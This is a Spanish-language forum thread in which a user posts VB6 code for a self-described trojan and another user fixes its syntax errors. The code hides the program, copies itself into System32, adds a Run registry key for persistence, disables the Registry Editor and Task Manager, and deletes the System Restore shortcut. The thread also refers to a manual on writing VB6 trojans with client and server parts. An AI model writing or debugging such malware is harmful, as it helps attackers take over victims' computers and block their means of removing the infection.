que ago mal?

[ugruhell]

Private Sub Timer1_Timer()
App.Taskvisible = False
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan",
"C:\Windows\System32\" & "\trojan.exe"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword
/d ""1"" /f"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar
sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d
""1"" /f"
Timer1.Enabled = False

en esta linea de codigo me da error:Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe


y me da algunos errores mas que puede ser?

[WarGhost]

Código [Seleccionar] Expandir

Filecopy App.Path & "\" & App.EXEname & ".exe", "C:\Windows\System32\trojan.exe"



salu2

[ugruhell]

tenes razon y acà que ago mal?
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword
/d ""1"" /f"

[WarGhost]

Código [Seleccionar] Expandir

Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""0"" /f"


salu2

[ugruhell]

hola warghost estoy leyendo tu manual de programacion de troyanos en vb6.pero no entiendo una cosa como creo el server?por que yo hice todo como està escrito en el manual pero no se como crear el server.

[WarGhost]

En ese manual explico como crear un mini troyano en VB y algunos truquillos esta exo un poco chapuza porque no tenia el VB intalado en ese momento  .

Hay si que se explica como crear el servidor si te figas en el sección "Creamos nuestro primer troyano" hay dos cosas el cliente y el servidor eso tiene que ir el proyectos diferentes.

Salu2

[ugruhell]

ha ok muuchas gracias